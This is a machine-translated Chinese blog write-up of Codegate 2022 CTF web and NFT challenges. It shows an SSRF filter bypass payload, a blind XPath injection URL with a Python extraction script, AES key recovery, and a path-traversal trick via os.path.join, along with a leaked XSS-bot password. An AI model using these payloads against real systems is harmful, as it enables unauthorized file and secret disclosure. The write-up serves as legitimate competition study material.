Arang.dev
搜索
Codegate CTF 2022🏁 CTF🌐 已翻译

Codegate 2022 Web/Blockchain 题解

Codegate 2022 预选赛 Web 方向全部题目及 Blockchain (NFT) 题目题解

#codegate#ssrf#xpath-injection#aes#blockchain

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

没进决赛,所以就随便写写吧……

Web 题解得太快了,所以只看了区块链题目,但个人对区块链实在太不了解,感觉非常遗憾 呜呜……

nft 题目多亏队友 epist 帮忙(感谢感谢)


[Baby First]

摘要

通过 SSRF 绕过 regex 检查泄漏 local file

因为题目名字里带有 baby,所以我最先看了这道题,可能正因如此拿到了 First Blood ;;;

image

大致看下代码,class 文件中的 lookupImg 函数会将 memo 内容中 [] 方括号里的部分作为 url 接收,解析 image 并将其放入 img tag 中。

pattern = Pattern.compile("^[a-z]+:");
 matcher = pattern.matcher(tmp);
 if (!matcher.find() || matcher.group().startsWith("file"))
 return "";

此时使用了 java.net.URL,但在此之前会用 startsWith 函数检查是否以 file: 协议开头。

对 java.net.URL 进行审计会发现

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKMirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKgithub.com

image

如上所示,可以看到如果以 url: 开头,start(input argument, url) 会执行 += 4 操作。

构造 memo=[url:file:///flag] 即可解出。

image


[ CAFE ]

摘要:xss bot 中存在 admin password(非预期解),利用 parse_url bug(?)(预期解)

case 'iframe':
 $src = $element->src;
 $host = parse_url($src)['host'];
 if (strpos($host, 'youtube.com') !== false){
 $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
 }
 break;

使用 parse_url($src)['host'] 进行 host 检查,但这很容易绕过。

相关文档方面,Orange 大佬的资料非常好。

懒得找了,就不单独放链接了。

# xss bot python code
 
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

总之原本是那样的问题,但 xss bot 里竟然包含了密码。

Web 题很快做完了,看了区块链,彻底没事干之后本来想按预期解法再看一遍,但因为卡在一道区块链题上直到比赛结束,所以没看成。大概用 javascript://youtube.com/[换行][代码] 应该就行。


​

[ superbee ]

摘要:admin/password(非预期解) AES uninitialized key+padding it, iv from key decrypt

image

说实话,比赛时我一直无法理解为什么这道题会被打到只剩 100 分。

啊,结果比赛结束后才听说账号是 admin/password。

呃……;

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
 
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
 
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

首先把 auth_key 还是 auth_secret_key 来着?反正就是拿那个进行 AES CBC Encrypt 后显示在 admin 页面上。

虽然检查 host 是否为 localhost,但直接用 nc 连接并修改 host 后就直接拿到了。

func (this *AdminController) AuthKey() {
 encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
 this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

大致看代码发现,上面加密时使用的 auth_crypt_key 只是声明了,并没有赋值。

func AesEncrypt(origData, key []byte) ([]byte, error) {
 padded_key := Padding(key, 16)
 block, err := aes.NewCipher(padded_key)
 if err != nil {
 return nil, err
 }
 blockSize := block.BlockSize()
 origData = Padding(origData, blockSize)
 blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
 crypted := make([]byte, len(origData))
 blockMode.CryptBlocks(crypted, origData)
 return crypted, nil
}

然后对它进行 key size 大小的 padding,结果就是 \x10*16。

iv 也是从上面 padding 生成的 key 值中截取 blocksize 大小来使用的,所以我们同时知道了 key 和 iv。

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

暴力解密

image

拿到 Flag


​

[ myblog ]

摘要:通过 blind xpath injection 泄漏 catalina.properties 中设置的 environ variable

现在一遇到 jsp 题目,就已经养成了先审计 Tomcat、JDK 的习惯。

看到 catalina.properties 里设置了 flag,大概猜想到在使用 xpath 时内部可能会调用 System.getProperty 之类的函数,于是请出我们的 Sublime 神器,用 ctrl+shift+f 搜索 getProperty 进行了 reference check。

结果发现 SecuritySupport.java 里有用到的地方,大概记了一下,

image

感觉是要利用 xpath function 来解题,看了一下那边发现有个叫 system-property 的家伙看起来很不错。

  1. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
  2. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
  3. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
  4. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87

可以看到大致是按上面的流程调用的,

image

本地测试 bingo

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

大致编写 blind xpath injeciton 语句检查 length,

from arang import *
 
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
 for c in "0123456789abcdef}":
 url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
 r = s.get(url)
 if 'asdf' not in r.content.decode():
 flag += c
 print(f"[{len(flag)}/46] flag - {flag}")
 break

执行 exploit

image

获取 flag


​

[ nft ]

摘要:虽然是 blockchain 但其实是 webchall,利用了 1day 和 python trick

modifier contains (string memory what, string memory where) {
 bytes memory whatBytes = bytes (what);
 bytes memory whereBytes = bytes (where);
 
 require(whereBytes.length >= whatBytes.length);
 
 bool found = false;
 for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
 bool flag = true;
 for (uint j = 0; j < whatBytes.length; j++)
 if (whereBytes [i + j] != whatBytes [j]) {
 flag = false;
 break;
 }
 if (flag) {
 found = true;
 break;
 }
 }
 require (!found);
 
 _;
 }

contains 函数有点简陋。

[requirements.txt 内容]

Django==3.2.1

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

CVE-2021-33571 ≈ Packet StormRed Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addrepacketstormsecurity.com

Good

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

现在传入 127.00.0.1 就可以绕过 contains。

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'
nft_file = uri.split(nft_path + '/')[-1]
 if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
 path = os.path.join(os.getcwd(), nft_path, nft_file)
 
 with open(path, 'rb') as f:
 return f.read()

存在一个 trick:在使用 os.path.join 时,如果第三个参数给出绝对路径,结果就会变成绝对路径。

结合这个的话,

127.00.0.1/acount/storages//home/ctf/flag.txt

这样传参的话,with open(path, 'rb') as f 中的 path 就会变成 /home/ctf/flag.txt,从而读取到 flag。

虽然找到了漏洞,但我是区块链菜鸟,没能完成实际利用(exploit),是队友 epist 代替我完成的(感谢感谢)。

评论

正在加载评论...
Codegate 2022 Web/Blockchain 题解 | Codegate CTF 2022 | Arang